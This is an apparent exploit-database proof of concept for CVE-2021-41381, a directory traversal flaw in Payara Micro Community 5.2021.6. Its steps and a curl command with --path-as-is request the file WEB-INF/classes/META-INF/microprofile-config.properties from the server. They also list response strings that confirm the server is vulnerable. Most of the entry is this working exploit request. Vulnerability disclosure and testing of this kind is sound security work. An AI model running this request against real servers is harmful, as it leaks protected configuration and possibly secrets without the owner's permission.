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CVE-2021-41381/CVE: 2021-41381-POC
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| # Exploit Title: Payara Micro Community 5.2021.6 Directory Traversal | |
| # Date: 01/10/2021 | |
| # Exploit Author: Yasser Khan (N3T_hunt3r) | |
| # Vendor Homepage: https://docs.payara.fish/community/docs/release-notes/release-notes-2021-6.html | |
| # Software Link: https://www.syss.de/fileadmin/dokumente/Publikationen/Advisories/SYSS-2021-054.txt | |
| # Version: Payara Micro Community 5.2021.6 | |
| # Tested on: Linux/Windows OS | |
| # CVE : CVE-2021-41381 | |
| https://nvd.nist.gov/vuln/detail/CVE-2021-41381 | |
| Proof of Concept: | |
| Step1: Open the browser check the version of the payara software | |
| Step2: Add this Path at end of the URL /.//WEB-INF/classes/META-INF/microprofile-config.properties | |
| Step3: Check the response with match containing "payara.security.openid.default.providerURI=" | |
| "payara.security.openid.sessionScopedConfiguration=true" | |
| Step4 : If any of these contents in the response then the application is vulnerable to Directory Traversal Vulnerability. | |
| Step5: Alternatively we can use CURL by using this command: | |
| Request: | |
| curl --path-as-is http://localhost:8080/.//WEB-INF/classes/META-INF/microprofile-config.properties |